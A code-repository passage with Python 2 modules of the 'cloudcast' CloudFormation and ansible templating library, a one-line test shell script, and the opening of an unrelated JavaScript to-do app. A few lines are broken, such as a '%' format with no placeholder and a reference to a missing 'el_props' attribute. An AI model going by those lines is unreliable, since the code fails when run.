iscm.iscm_cfninit_add_config({ "files": self._fs_to_cfninit_plain() }, "_ansible_playbooks_install")
"""
Specification of an ansible run.
{
"playbook": "ansible/foo.yml"
"extra_vars": { ... },
"sudo": True,
"sudo_user": "xxx",
"tags": [ "tag1", "tag2" ],
"skip_tags": [ "tag3", "tag4" ]
}
"""
class _AnsibleRun(object):
def __init__(self, run_spec, name=None):
self.name = name
if type(run_spec) == str:
run_spec = yaml_load(run_spec)
self.run_spec = run_spec
try:
self._check_spec()
except Exception as e:
raise RuntimeError("When creating ansible run '%s': '%s'" % (name, e.message))
def _check_spec(self):
valid_keys = [ "playbook", "extra_vars", "sudo", "sudo_user", "tags", "skip_tags" ]
for k in self.run_spec.keys():
if k not in valid_keys:
raise RuntimeError("Unknown Run directive %s" % k)
#
if type(self.run_spec['playbook']) != str:
raise RuntimeError("Invalid type for playbook property")
def _exec_sh(self):
from json import dumps as json_dumps
command = "ansible-playbook " + \
"-i ${ANSIBLE_INVENTORY} "
if self.run_spec.has_key('sudo') and self.run_spec['sudo']:
command += "-s "
if self.run_spec.has_key('sudo_user'):
command += "-U " % self.run_spec['sudo_user']
if self.run_spec.has_key('extra_vars'):
command += "-e '" + json_dumps(self.run_spec['extra_vars']) + "' "
if self.run_spec.has_key('tags'):
command += "-t '" + ','.join(self.run_spec['tags']) + "' "
if self.run_spec.has_key('skip_tags'):
command += "--skip-tags='" + ','.join(self.run_spec['skip_tags']) + "' "
command += self.run_spec['playbook']
return command
"""
Initializes and manages the deployment of the different ansible runs
"""
class _AnsibleRunManager(object):
def __init__(self, boot=None, runs=None, ansible_config={}):
if boot is not None:
self.runs = { "boot": _AnsibleRun(boot) }
else:
self.runs = dict( map( lambda(k,v): (k, _AnsibleRun(v,k)), runs.items()) )
self.ansible_config = ansible_config
def has_run(self, name):
return name in self.runs.keys()
def _get_runner_clause(self, name):
run = self.runs[name]
return \
" %s)\n" % name + \
" " + run._exec_sh() + \
" ;;"
def install(self, iscm):
iscm.iscm_set_var("ansible_runs", self.runs.keys())
def deploy(self, iscm):
ansi_home = self.ansible_config['ansible_home']
inst_home = self.ansible_config['inst_home']
ansi_script = iscm.iscm_get_var("ansible_run_script")
pb_home = self.ansible_config['_inst_playbook_path']
files = {
ansi_script : dict(
content= \
"#!/bin/bash\n\n" + \
". %s/bin/activate\n\n" % ansi_home + \
"ANSIBLE_INVENTORY=%s/etc/hosts\n" % ansi_home + \
"cd %s\n" % pb_home + \
"case \"$1\" in \n" + \
reduce(lambda x,y: x + self._get_runner_clause(y), self.runs.keys(), "") + \
" *)\n" + \
" echo \"Invalid ansible run name $1\" && exit 1\n" + \
" ;;\n" + \
"esac\n",
owner= self.ansible_config['inst_user'],
group= self.ansible_config['inst_group'],
mode= "000700"
)
}
iscm.iscm_cfninit_add_config({ "files": files }, "_ansible_playbooks_runner")
"""
ISCM module to embed playbook execution into an ISCM
"""
class Ansible(object):
def __init__(self, run_name, vars=None):
self.run_name = run_name
def install(self, iscm):
# We require an ansible configuration installed previously on the ISCM
if not iscm.iscm_get_flag("ansible_is_configured"):
raise RuntimeError("AnsibleConfig module required in order to execute an ansible script")
# Check that the run exists in the iscm
if not self.run_name in iscm.iscm_get_var('ansible_runs'):
raise RuntimeError("Ansible run '%s' is not configured in the ISCM" % self.run_name)
def deploy(self, iscm):
# Create execution clause for the playbook
ansi_user = iscm.iscm_get_var("ansible_inst_user")
ansi_script = iscm.iscm_get_var("ansible_run_script")
iscm.iscm_cfninit_add_config({
"commands": {
"ansible-run": dict(
command="sudo -u %s /bin/bash %s %s 2>&1 | tee -a /iscm-ansible-%s.log" % (ansi_user, ansi_script, self.run_name, self.run_name)
)
}
},
"_ansible_execute_run_%s" % self.run_name);
<file_sep>/cloudcast/__init__.py
'''
Tools for loading and processing CloudCast templates into CloudFormation JSON templates
@author: <NAME> <<EMAIL>>
'''
import json, os.path
from cloudcast.elements import *
def _caller_folder():
"""
Returns the folder where the code of the caller's caller lives
"""
import inspect
caller_file = inspect.stack()[2][1]
if os.path.exists(caller_file):
return os.path.abspath(os.path.dirname(caller_file))
else:
return os.path.abspath(os.getcwd())
def _run_resources_file(path, stack):
"""
With a bit of import magic, we load the given path as a python module,
while providing it access to the given stack under the import name '_context'.
This function returns the module's global dictionary.
"""
import imp, sys, random, string, copy
class ContextImporter(object):
def find_module(self, fullname, path=None):
if fullname == '_context':
self.path = path
return self
return None
def load_module(self, name):
mod = imp.new_module("_context")
mod.stack = stack
return mod
# Temporarily add the context importer into the meta path
old_meta_path = copy.copy(sys.meta_path)
old_path = copy.copy(sys.path)
# Save the modules list, in order to remove modules loaded after this point
old_sys_modules = sys.modules.keys()
# Run the module
# Prepare import environment
abspath = os.path.abspath(path)
sys.meta_path.append(ContextImporter())
sys.path.append(os.path.dirname(abspath)) # Enable importing files within module's folder
# Perform the importing
srcf = open(abspath, "r")
module_name = ''.join(random.choice(string.digits + string.lowercase) for i in range(16))
srcmodule = imp.load_source("cloudcast._template_" + module_name, abspath, srcf)
srcf.close()
# Restore meta path, modules list and return module
sys.meta_path = old_meta_path
sys.path = old_path
for modname in sys.modules.keys():
if not modname in old_sys_modules:
del sys.modules[modname]
return srcmodule
class _CustomJSONEncoder(json.JSONEncoder):
"""
Extended JSON encoder, it handles references to stack elements
and callables
"""
def __init__(self, *args, **kwargs):
super(self.__class__, self).__init__(*args, **kwargs)
def default(self, o):
if hasattr(o, 'cfn_expand'):
return o.cfn_expand()
elif hasattr(o, '__call__'):
return o.__call__()
else:
return super(self.__class__, self).default(o)
class _stackElements(object):
"""
This class is a glorified dictionary of stack's elements
"""
def __init__(self):
self.elements = {}
self.Parameters = []
self.Mappings = []
self.Resources = []
self.Outputs = []
self.launchables = []
def load_template_srcmodule(self, stack, path):
"""
This function actually fills the stack with definitions coming from a template file
"""
srcmodule = _run_resources_file(path, stack)
# Process the loaded module and find the stack elements
elements = self.find_stack_elements(srcmodule)
elements = sorted(elements, key=lambda x: x[:-1])
# Assign a name to each element and add to our dictionaries
for (module_name, el_name, element) in elements:
full_name = self.generate_cfn_name(module_name, el_name)
self.name_stack_element(element, full_name)
self.add_stack_element(element)
def find_stack_elements(self, module, module_name="", _visited_modules=None):
"""
This function goes through the given container and returns the stack elements. Each stack
element is represented by a tuple:
( container_name, element_name, stack_element)
The tuples are returned in an array
"""
from types import ModuleType
if _visited_modules is None: _visited_modules = []
_visited_modules.append(module)
#
elements = []
for el_name in dir(module):
the_el = module.__getattribute__(el_name)
if isinstance(the_el, ModuleType):
# Recursively go into the module
if the_el in _visited_modules:
continue
elements = elements + self.find_stack_elements(the_el, module_name + el_name + ".", _visited_modules)
elif isinstance(the_el, StackElement):
# Add to list
elements.append((module_name, el_name, the_el))
return elements
def generate_cfn_name(self, module_name, el_name):
import re
normalized_el_name = re.sub(r'[^a-zA-Z0-9]', '0', el_name)
if self.elements.has_key(normalized_el_name):
# Use the module name
normalized_module_name = re.sub(r'[^a-zA-Z0-9.]', '0', module_name)
return normalized_module_name.replace(".", "XX") + normalized_el_name
else:
return normalized_el_name
def name_stack_element(self, the_el, name):
# A given element can only be assigned a name once!
if the_el.ref_count > 0:
raise Exception("%s is a second reference (first one was: %s)" % (name, the_el.ref_name))
# Give name to the stack element so he knows how to reference
# itself within the stack template
the_el.ref_count += 1
the_el.ref_name = name
def add_stack_element(self, the_el):
# If the element doesn't want to be dumped, do nothing
if the_el.dont_dump:
return
# Add to our dictionary of elements
if self.elements.has_key(the_el.ref_name):
if self.elements[the_el.ref_name] == the_el:
# Repeated name -> element mapping, skip
return
else:
raise Exception("%s is a an element name used elsewhere!!" % the_el.ref_name)
self.elements[the_el.ref_name] = the_el
# Add contents of the element to the corresponding section
# of the stack
if isinstance(the_el, Parameter):
self.Parameters.append(the_el)
elif isinstance(the_el, Mapping) and the_el.is_used:
self.Mappings.append(the_el)
elif isinstance(the_el, Output):
self.Outputs.append(the_el)
elif isinstance(the_el, Resource):
self.Resources.append(the_el)
# If the resource is launchable, keep track
if isinstance(the_el, LaunchableResource):
self.launchables.append(the_el)
def dump_to_template_obj(self, stack, t):
"""
Add resource definitions to the given template object
"""
if len(self.Parameters) > 0:
t['Parameters'] = dict([e.contents(stack) for e in self.Parameters])
if len(self.Mappings) > 0:
t['Mappings'] = dict([e.contents(stack) for e in self.Mappings])
if len(self.Resources) > 0:
t['Resources'] = dict([e.contents(stack) for e in self.Resources])
if len(self.Outputs) > 0:
t['Outputs'] = dict([e.contents(stack) for e in self.Outputs])
class Stack(object):
"""
A stack template, transformable into JSON to upload to AWS CloudFormation, instrumentable for management
"""
def __init__(self, **kwargs):
self.base_dir = None
self.description = None
self.required_capabilities = []
self.env = {}
self.elements = _stackElements()
# Obtain base dir of the caller, if available
self.base_dir = _caller_folder()
# Process kwargs
if kwargs.has_key("description"):
self.description = kwargs["description"]
if kwargs.has_key("env"):
self.env = _env_dict(kwargs["env"])
if kwargs.has_key("resources_file"):
self.load_resources(kwargs["resources_file"])
def add_element(self, element, name):
self.elements.name_stack_element(element, name)
self.elements.add_stack_element(element)
def add_required_capability(self, cap):
if cap not in self.required_capabilities:
self.required_capabilities.append(cap)
def load_resources(self, path):
if not os.path.isabs(path):
# Search relative to the caller, the stack and cwd
search_paths = [
os.path.join(_caller_folder(), path),
os.path.join(self.base_dir, path),
os.path.join(os.getcwd(), path)
]
for p in search_paths:
if os.path.isfile(p):
path = p
break
# if path doesn't exist the function below will fail anyway
#
self.elements.load_template_srcmodule(self, path)
def has_element(self, name):
return self.elements.elements.has_key(name)
def get_element(self, name):
return self.elements.elements[name]
def get_launchable_resources(self):
return self.elements.launchables
def fix_broken_references(self, placeholder="#!broken_ref!#"):
for val in self.elements.elements:
if isinstance(val, StackElement):
# Check if the element belongs to this stack
el_name = val.ref_name
if not self.has_element(el_name) or not self.get_element(el_name) == val:
raise RuntimeError("Broken reference: " + str(val))
def dump_json(self, pretty=True):
"""
Return a string representation of this CloudFormation template.
"""
# Build template
t = {}
t['AWSTemplateFormatVersion'] = '2010-09-09'
if self.description is not None:
t['Description'] = self.description
self.elements.dump_to_template_obj(self, t)
return _CustomJSONEncoder(indent=2 if pretty else None,
sort_keys=False).encode(t)
class _env_dict(dict):
def __init__(self, *args, **kw):
super(_env_dict,self).__init__(*args, **kw)
def required(self, key):
if not self.has_key(key):
raise KeyError("The stack environment doesn't contain the required entry %s" % key)
return self[key]
def optional(self, key, default=None):
if not self.has_key(key):
return default
else:
return self[key]
<file_sep>/cloudcast/iscm/phased.py
from cloudcast.iscm import ISCM
from cloudcast.iscm.cfninit import CfnInit, CfnInitISCM
from cloudcast.template import *
def _dict_to_stable_str(dic):
# Get a stable representation of a nested data structure into string
from pprint import pformat
return pformat(dic, width=2**16)
PURPOSE_BUILD = "build"
PURPOSE_RUN = "run"
class PhasedISCM(ISCM):
def __init__(self, context=None, phases=None, **kwargs):
self.phases = phases
self.phase_names = [ p.phase_name for p in phases ]
self.cfn_init = CfnInitISCM(context["_iscm"]["cfninit_key"])
#
ISCM.__init__(self, context, [self.cfn_init], phases, **kwargs)
#
def is_buildable(self):
return True
def set_phases_to_run(self, phases):
configsets = []
for p in phases: configsets.append(p.phase_name)
self.iscm_cfninit_run_configsets(*configsets)
def get_possible_builds(self, purpose=PURPOSE_RUN):
"""
Returns a list of possible status ids that are valid entry points
into this ISCM. For each status, there is a list of phases that need
to be executed, i.e.:
[
{ status_id: "ykyk...", run_phases: [ ] },
{ status_id: "znzn...", run_phases: [ <phase3> ] },
{ status_id: "xyxy...", run_phases: [ <phase2>, <phase3> ] },
{ status_id: "", run_phases: [ <phase1>, <phase2>, <phase3> ] },
]
the array is sorted in such a way that entries with the least pending
phases are found first.
When purpose = PURPOSE_BUILD, each runnable path contains a list of the
buildable targets and the phases that need to be run to achieve them:
[
{ status_id: "ykyk...", targets = [] },
{ status_id: "znzn...", targets=[
{ target_id: "ykyk...", run_phases: [ <phase3> ] },
]},
{ status_id: "xyxy...", targets=[
{ target_id: "ykyk...", run_phases: [ <phase2>, <phase3> ] },
{ target_id: "znzn...", run_phases: [ <phase2> ] },
]},
{ status_id: "", targets=[
{ target_id: "ykyk...", run_phases: [ <phase1>, <phase2>, <phase3> ] },
{ target_id: "znzn...", run_phases: [ <phase1>, <phase2> ] },
{ target_id: "xyxy...", run_phases: [ <phase1> ] },
]}
]
"""
import hashlib
from copy import copy
phases = self.phases
pending_list = copy(phases)
must_run_list = []
stages = [ dict(status_id="", must_run=copy(must_run_list), pending=copy(pending_list)) ]
hashsum = hashlib.sha256()
status_id_after = {} # after phase_name
#
for p in copy(pending_list):
hashsum.update(_dict_to_stable_str(p.get_dict_repr()))
status_id_after[p.phase_name] = hashsum.hexdigest()
pending_list = pending_list[1:]
if p.phase_type == RUN_EVERY_TIME:
must_run_list.append(p)
continue
elif p.phase_type == RUN_ON_UPDATE and purpose == PURPOSE_BUILD:
must_run_list.append(p)
continue
elif p.phase_type == RUN_ONCE:
# possible point of entry for AMIs
stages.insert(0, dict(status_id=hashsum.hexdigest(), must_run=copy(must_run_list), pending=copy(pending_list)))
elif p.phase_type == RUN_ON_DEPLOY:
# no more saved entry points possible
break
#
# If we are building images, add possible builds from each entry point
if purpose == PURPOSE_BUILD:
for rp in stages:
targets = []
must_run = rp["must_run"]
pending = rp["pending"]
del rp["must_run"]
del rp["pending"]
iterated = []
for p in pending:
iterated.append(p)
if p.phase_type == RUN_ONCE:
# this makes a new target
target = dict(target_id=status_id_after[p.phase_name], run_phases=must_run + iterated)
targets.insert(0, target)
rp["targets"] = targets
else:
for rp in stages:
rp["run_phases"] = rp["must_run"] + rp["pending"]
del rp["must_run"]
del rp["pending"]
#
return stages
# definitions of phase types
RUN_ON_UPDATE = "run_on_update"
RUN_EVERY_TIME = "run_every_time"
RUN_ONCE = "run_once"
RUN_ON_DEPLOY = "run_on_deploy"
from contextlib import contextmanager
class Phase(object):
def __init__(self, phase_name, phase_type, modules):
self.phase_name = phase_name
self.phase_type = phase_type
self.cfn_configs = []
self.modules = modules
self.actions = dict(
dict_updates = {},
cfninit_configs = {}
)
def get_dict_repr(self):
"""
Return a dictionary representation of this phase.
This will be used for checksumming, in order to uniquely compare
instance images against their requirements
"""
return dict(
phase_name = self.phase_name,
phase_type = self.phase_type,
actions = self.actions
)
def install(self, iscm):
for mod in self.modules:
mod.install(iscm)
def deploy(self, iscm):
with self._hijacked_iscm_calls(iscm):
for mod in self.modules:
mod.deploy(iscm)
def __repr__(self):
return "<%s('%s')>" % (self.__class__.__name__, self.phase_name)
@contextmanager
def _hijacked_iscm_calls(self, iscm):
# We intercept a couple of iscm calls, so we can obtain the actions
# that the submodules create. We use that for checksumming and
# managing the actions of each phase
#
# Copy references to old methods
iscm._hijacked = {
"iscm_md_update_dict": iscm.iscm_md_update_dict,
"iscm_cfninit_add_config": iscm.iscm_cfninit_add_config
}
# Define hijackers
phase = self
def iscm_md_update_dict(self, keypath, data):
# This is used for variable setting mostly...
if not phase.actions['dict_updates'].has_key(keypath):
phase.actions['dict_updates'][keypath] = []
phase.actions['dict_updates'][keypath].append(data)
# Invoke hijacked method
return self._hijacked["iscm_md_update_dict"](keypath, data)
def iscm_cfninit_add_config(self, config, name=None):
# This is used for adding deployable files/code
if name is None:
name = "%s-%03d" % (phase.phase_name, len(phase.actions['cfninit_configs']) + 1)
phase.actions['cfninit_configs'][name] = config
phase.cfn_configs.append(name)
# Invoke hijacked method
return self._hijacked["iscm_cfninit_add_config"](config, name)
# Set hijackers in iscm instance
import types
iscm.iscm_md_update_dict = types.MethodType(iscm_md_update_dict, iscm)
iscm.iscm_cfninit_add_config = types.MethodType(iscm_cfninit_add_config, iscm)
# yield control
yield
# Create config set for the phase, once all configs have been added
iscm.iscm_cfninit_add_configset(self.phase_name, *self.cfn_configs)
# Restore methods
iscm.iscm_md_update_dict = iscm._hijacked["iscm_md_update_dict"]
iscm.iscm_cfninit_add_config = iscm._hijacked["iscm_cfninit_add_config"]
class RunOnUpdate(Phase):
def __init__(self, phase_name, modules):
Phase.__init__(self, phase_name, RUN_ON_UPDATE, modules)
class RunAlways(Phase):
def __init__(self, phase_name, modules):
Phase.__init__(self, phase_name, RUN_EVERY_TIME, modules)
class RunOnce(Phase):
def __init__(self, phase_name, modules):
Phase.__init__(self, phase_name, RUN_ONCE, modules)
class RunOnDeploy(Phase):
def __init__(self, phase_name, modules):
Phase.__init__(self, phase_name, RUN_ON_DEPLOY, modules)
<file_sep>/cloudcast/elements.py
'''
Basic definition of the elements available for building CloudFormation stack templates
@author: <NAME> <<EMAIL>>
'''
import copy
class CfnSimpleExpr(object):
"""
A static CloudFormation expression (i.e { "Ref" : "AWS::StackName" })
"""
def __init__(self, definition):
self.definition = definition
def cfn_expand(self):
return self.definition
def __repr__(self):
return "<CfnSimpleExpr: '%s'>" % self.definition
class CfnGetAttrExpr(object):
def __init__(self, el, attr):
self.el = el
self.attr = attr
def cfn_expand(self):
return CfnSimpleExpr({"Fn::GetAtt" : [ self.el.ref_name, self.attr ]})
def __repr__(self):
return "<CfnGetAttrExpr: '%s', '%s'>" % (self.el.ref_name, self.attr)
class GetRefNameExpr(object):
"""
An expression that returns the name of the given element
"""
def __init__(self, element):
self.element = element
def cfn_expand(self):
return self.element.ref_name
def __repr__(self):
return "<GetRefNameExpr: '%s', '%s'>" % self.element.ref_name
class CfnRegionExpr(object):
def cfn_expand(self):
return { "Ref" : "AWS::Region" }
def resolve(self, stack=None, element=None, cfn_env=None):
if cfn_env.has_key("region"):
return cfn_env["region"]
def __repr__(self):
return "<CfnRegionExpr>"
class CfnSelectExpr(object):
def __init__(self, listOfObjects, index):
self.listOfObjects = listOfObjects
self.index = index
def cfn_expand(self):
listOfObjects = self.listOfObjects
index = self.index
#
if hasattr(listOfObjects, "cfn_expand"):
listOfObjects = listOfObjects.cfn_expand()
if hasattr(index, "cfn_expand"):
index = index.cfn_expand()
#
return CfnSimpleExpr({"Fn::Select": [ index, listOfObjects ]})
class MappingLookupExpr(object):
"""
An expression that performs lookup in a mapping
"""
def __init__(self, mapping, key1, key2):
self.mapping = mapping
self.key1 = key1
self.key2 = key2
def cfn_expand(self):
return {"Fn::FindInMap" : [ self.mapping.ref_name, self.key1, self.key2 ]}
def resolve(self, stack=None, element=None, cfn_env=None):
keyval1 = self.key1
keyval2 = self.key2
if hasattr(keyval1, "resolve"):
keyval1 = keyval1.resolve(stack, element, cfn_env)
if hasattr(keyval2, "resolve"):
keyval2 = keyval2.resolve(stack, element, cfn_env)
return self.mapping.el_attrs[keyval1][keyval2]
def __repr__(self):
return "<MappingLookupExpr: '%s', '%s', '%s'>" % (self.mapping.ref_name, self.key1, self.key2)
def get_ref_name(element):
return GetRefNameExpr(element)
class CloudCastHelperExpr(object):
"""
Helper expressions are interpreted and transformed by resources before passing
onto the CloudFormation tempalte
"""
def resolve(self, stack, element):
raise NotImplementedError("This is for subclasses to sort out")
def cfn_expand(self):
return self.resolvedTo
class ThisResourceExpr(CloudCastHelperExpr):
"""
This expression resolves to the resource where it is contained
"""
def resolve(self, stack=None, element=None, cfn_env=None):
self.resolvedTo = element.ref_name
def __repr__(self):
return "<ThisResourceExpr>"
class StackElement(object):
"""
Class for elements that appear in the stack definition, this includes
parameters, resources, outputs and mappings
"""
def __init__(self, **kwargs):
"""
Creates the stack element, copying the provided properties
"""
self.ref_name = None # Reference name in template module
self.ref_count = 0 # Only one reference allowed
self.el_attrs = copy.copy(kwargs)
self.dont_dump = False # Avoids dumping the element when transformning
# Filter out any attributes with value None
self.el_attrs = dict(filter(lambda(k,v): v is not None, self.el_attrs.iteritems()))
def contents(self, stack):
return (self.ref_name, self.el_attrs)
def cfn_expand(self):
"""
Returns AWS CloudFormation idiom for referencing the element
"""
if self.ref_name is None:
raise Exception("Tried to get a reference when I still don't have a name!")
return lambda: CfnSimpleExpr({ "Ref" : self.ref_name })
def __getattribute__(self, name):
"""
Capture some attribute references.
- 'name' returns an object that, when evaluated, will resolve to this resource's name
within the stack template
"""
if name == "name":
return lambda: self.ref_name
else:
return super(StackElement, self).__getattribute__(name)
class Parameter(StackElement):
"""
Stack parameter
"""
def __init__(self, **kwargs):
StackElement.__init__(self, **kwargs)
class Mapping(StackElement):
"""
Stack mapping.
"""
def __init__(self, mapping):
StackElement.__init__(self, **mapping)
self.is_used = False
def find(self, key1, key2):
self.is_used = True
return MappingLookupExpr(self, key1, key2)
class Output(StackElement):
"""
Stack output
"""
pass
class Resource(StackElement):
"""
Stack resource
"""
@classmethod
def ThisName(cls):
"""
Returns a static expression that, when evaluated, will be
resolved to the CloudFormation name of the resource where this
expression is used. This will be just a string for CloudFormation and,
thus, it won't be failing because of recursive element dependencies.
"""
return ThisResourceExpr()
def __init__(self, resource_type, **kwargs):
self.resource_type = resource_type
# If 'Properties' not specified, all kwargs are properties
if not kwargs.has_key("Properties"):
properties = copy.copy(kwargs)
# except Metadata, it is an element attribute of its own
if kwargs.has_key('Metadata'):
properties.pop('Metadata')
metadata = kwargs['Metadata']
else:
metadata = None
# And DependsOn, that is also on its own
if kwargs.has_key('DependsOn'):
properties.pop('DependsOn')
depends_on = kwargs['DependsOn']
else:
depends_on = None
# DeletionPolicy handling
if kwargs.has_key('DeletionPolicy'):
properties.pop('DeletionPolicy')
deletion_policy = kwargs['DeletionPolicy']
else:
deletion_policy = None
# UpdatePolicy handling
if kwargs.has_key('UpdatePolicy'):
properties.pop('UpdatePolicy')
update_policy = kwargs['UpdatePolicy']
else:
update_policy = None
# UpdatePolicy handling
StackElement.__init__(self,
Type=resource_type,
Metadata=metadata,
DependsOn=depends_on,
Properties=properties,
DeletionPolicy = deletion_policy,
UpdatePolicy = update_policy
)
else:
StackElement.__init__(self,
Type=resource_type,
**copy.copy(kwargs))
def add_dependency(self, dep):
if not self.el_props.has_key("DependsOn"):
self.el_attrs["DependsOn"] = [ dep ]
else:
self.el_attrs["DependsOn"].append(dep)
def add_property(self, key, value):
if not self.el_attrs.has_key('Properties'):
self.el_attrs['Properties'] = {}
self.el_attrs['Properties'][key] = value
def get_property(self, key, default=None):
if not self.el_attrs.has_key('Properties') or not self.el_attrs['Properties'].has_key(key):
return default
return self.el_attrs['Properties'][key]
def add_metadata_key(self, key, value):
if not self.el_attrs.has_key('Metadata'):
self.el_attrs['Metadata'] = {}
self.el_attrs['Metadata'][key] = value
def get_metadata_key(self, key, default=None):
if not self.el_attrs.has_key('Metadata') or not self.el_attrs['Metadata'].has_key(key):
return default
return self.el_attrs['Metadata'][key]
def contents(self, stack):
# Find and resolve helper expressions before dumping the contents
from cloudcast._utils import walk_values
for value in walk_values(self.el_attrs):
if isinstance(value, CloudCastHelperExpr): value.resolve(stack, self)
#
# Dump the contents
return (self.ref_name, self.el_attrs)
def __getitem__(self, key):
"""
[] operator for a resource element is equivalent to calling
cloudformation's "Fn::GetAtt"
"""
return CfnGetAttrExpr(self, key)
def __repr__(self):
return "<Resource('%s')>" % self.ref_name
class LaunchableResource(Resource):
def __init__(self, restype, **kwargs):
self.iscm = None
if kwargs.has_key("iscm"):
# If an SCM spec is given, build it
from cloudcast.iscm import ISCM
if isinstance(kwargs["iscm"], ISCM):
self.iscm = kwargs["iscm"]
else:
self.iscm = ISCM(kwargs["iscm"])
kwargs.pop("iscm")
Resource.__init__(self, restype, **kwargs)
def contents(self, stack):
# Before "spilling the beans", let the iscm update this element
if self.iscm is not None:
self.iscm.apply_to(self)
# Proceed with dumping the contents
return Resource.contents(self, stack)
def is_buildable(self):
if self.iscm is None:
return False
return self.iscm.is_buildable()
def resolve_ami(self, **kwargs):
ami = self.el_attrs["Properties"]["ImageId"]
if hasattr(ami, "resolve"):
ami = ami.resolve(stack=None, element=self, cfn_env=kwargs)
return ami
class EC2Instance(LaunchableResource):
def __init__(self, **kwargs):
LaunchableResource.__init__(self, "AWS::EC2::Instance", **kwargs)
@classmethod
def standalone_from_launchable(cls, launch):
"""
Given a launchable resource, create a definition of a standalone
instance, which doesn't depend on or contain references to other
elements.
"""
attrs = copy.copy(launch.el_attrs)
# Remove attributes we overwrite / don't need
del attrs["Type"]
if attrs.has_key("DependsOn"):
del attrs["DependsOn"]
if attrs["Properties"].has_key("SpotPrice"):
del attrs["Properties"]["SpotPrice"]
if attrs["Properties"].has_key("InstanceMonitoring"):
del attrs["Properties"]["InstanceMonitoring"]
if attrs["Properties"].has_key("SecurityGroups"):
del attrs["Properties"]["SecurityGroups"]
if attrs["Properties"].has_key("InstanceId"):
raise RuntimeError("Can't make instance from launchable containing InstanceId property")
inst = EC2Instance(**attrs)
# TODO: shallow copy?
inst.iscm = launch.iscm
return inst
class EC2LaunchConfiguration(LaunchableResource):
def __init__(self, **kwargs):
LaunchableResource.__init__(self, "AWS::AutoScaling::LaunchConfiguration", **kwargs)
class WaitCondition(Resource):
def __init__(self, **kwargs):
Resource.__init__(self, "AWS::CloudFormation::WaitCondition", **kwargs)
class WaitConditionHandle(Resource):
def __init__(self, **kwargs):
Resource.__init__(self, "AWS::CloudFormation::WaitConditionHandle", **kwargs)
<file_sep>/cloudcast/library/stack_user.py
'''
Template module that provides an user with privileges to read the CloudFormation
stack definition. You usually want such an user when doing advanced operations
with Metadata (i.e. using the cfn-init utils)
@author: <NAME> <<EMAIL>>
'''
from _context import stack
from cloudcast.template import *
stack.add_required_capability("CAPABILITY_IAM")
CloudFormationStackUser = Resource(
"AWS::IAM::User",
Path="/stackusers/",
Policies=[{
"PolicyName": "cfn_user_access",
"PolicyDocument": {
"Statement": [{
"Effect": "Allow",
"Action": "cloudformation:DescribeStackResource",
"Resource":"*"
}]
}
}]
)
CloudFormationStackUserKey = Resource(
"AWS::IAM::AccessKey",
Status="Active",
UserName=CloudFormationStackUser
)
<file_sep>/cloudcast/_utils.py
import os.path
def caller_folder():
"""
Returns the folder where the code of the caller's caller lives
"""
import inspect
caller_file = inspect.stack()[2][1]
if os.path.exists(caller_file):
return os.path.abspath(os.path.dirname(caller_file))
else:
return os.path.abspath(os.getcwd())
def search_file(filepath, *where):
if not os.path.isabs(filepath):
search_paths = map(lambda x: os.path.join(x, filepath), where)
for p in search_paths:
if os.path.isfile(p):
return p
return None
else:
return filepath
def search_path(path, *where):
if not os.path.isabs(path):
search_paths = map(lambda x: os.path.join(x, path), where)
for p in search_paths:
if os.path.exists(p):
return p
return None
else:
return path
def walk_values(obj):
if type(obj) == dict:
for v in obj.values():
for vv in walk_values(v): yield vv
elif type(obj) in [ list, tuple, set ]:
for v in obj:
for vv in walk_values(v): yield vv
else:
yield obj
from contextlib import contextmanager
@contextmanager
def in_mem_gzip_file(src_path, basename, mtime=0.0):
from gzip import GzipFile
from StringIO import StringIO
stringbuf = StringIO()
with open(src_path, "rb") as source:
with GzipFile(filename=basename, mode="w", compresslevel=9, fileobj=stringbuf, mtime=mtime) as gz:
gz.write(source.read())
yield stringbuf
stringbuf.close()
@contextmanager
def in_mem_gzip(contents, basename, mtime=0.0):
from gzip import GzipFile
from StringIO import StringIO
stringbuf = StringIO()
with GzipFile(filename=basename, mode="w", compresslevel=9, fileobj=stringbuf, mtime=mtime) as gz:
gz.write(contents)
yield stringbuf
stringbuf.close()<file_sep>/tests/scripts/sample-script.sh
#!/bin/bash
set > /root/vars.sh
| 9ad2bebd9abca6ff5e930b529c1280854811255f | [
"Markdown",
"Python",
"Shell"
] | 18 | Python | tuxpiper/cloudcast | 06ca62045c483e9c3e7ee960ba70d90ea6a13776 | d105525290b0dafdb5c64306fc622813a351664f |
refs/heads/master | <repo_name>juwoon01/webproject_aboutme<file_sep>/Script/PS.js
const toDoForm = document.querySelector(".js-toDoForm"),
toDoInput = toDoForm.querySelector("input"),
toDoPList = document.querySelector(".js-toDoPendingList"),
toDoFList = document.querySelector(".js-toDoFinishedList");
const TODOS_PLS = "toDosP";
const TODOS_FLS = "toDosF";
let toDosP = [];
let toDosF = [];
function deletToDoF(event) {
const btn = event.target;
const li = btn.parentNode;
toDoFList.removeChild(li);
const cleanToDos = toDosF.filter(function(toDo) {
return toDo.id !== parseInt(li.id);
});
toDosF = cleanToDos;
saveToDosF();
}
function movePending(event) {
const btn = event.target;
const li = btn.parentNode;
paintToDo(li.querySelector("span").innerText);
deletToDoF(event);
}
function paintToDoFinished(text) {
const li = document.createElement("li");
const delBtn = document.createElement("button");
const returnBtn = document.createElement("button");
const span = document.createElement("span");
const newId = toDosF.length + 1;
delBtn.innerText = "X";
delBtn.classList.add("ps_btn");
returnBtn.innerText = "<<<";
returnBtn.classList.add("ps_btn");
delBtn.addEventListener("click", deletToDoF);
returnBtn.addEventListener("click", movePending);
span.innerText = text;
li.appendChild(span);
li.appendChild(delBtn);
li.appendChild(returnBtn);
li.id = newId;
toDoFList.appendChild(li);
const toDoObj = {
text: text,
id: newId
};
toDosF.push(toDoObj);
saveToDosF();
}
function moveFinished(event) {
const btn = event.target;
const li = btn.parentNode;
paintToDoFinished(li.querySelector("span").innerText);
deletToDo(event);
}
function deletToDo(event) {
const btn = event.target;
const li = btn.parentNode;
toDoPList.removeChild(li);
const cleanToDos = toDosP.filter(function(toDo) {
return toDo.id !== parseInt(li.id);
});
toDosP = cleanToDos;
saveToDos();
}
function saveToDosF() {
localStorage.setItem(TODOS_FLS, JSON.stringify(toDosF));
}
function saveToDos() {
localStorage.setItem(TODOS_PLS, JSON.stringify(toDosP));
}
function paintToDo(text) {
const li = document.createElement("li");
const delBtn = document.createElement("button");
const finishedBtn = document.createElement("button");
const span = document.createElement("span");
const newId = toDosP.length + 1;
delBtn.innerText = "X";
delBtn.classList.add("ps_btn");
finishedBtn.innerText = "V";
finishedBtn.classList.add("ps_btn");
delBtn.addEventListener("click", deletToDo);
finishedBtn.addEventListener("click", moveFinished);
span.innerText = text;
li.appendChild(span);
